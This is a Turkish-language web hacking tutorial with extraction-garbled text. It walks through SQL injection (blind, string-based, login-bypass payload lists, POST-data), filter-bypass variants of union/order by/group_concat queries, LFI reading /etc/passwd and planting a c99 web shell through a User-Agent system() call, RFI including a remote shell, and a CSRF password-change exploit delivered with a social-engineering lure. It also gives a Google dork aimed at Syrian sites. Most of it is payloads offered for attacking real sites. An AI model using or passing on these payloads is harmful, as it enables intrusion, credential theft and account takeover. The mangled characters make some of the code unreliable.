burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 16: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

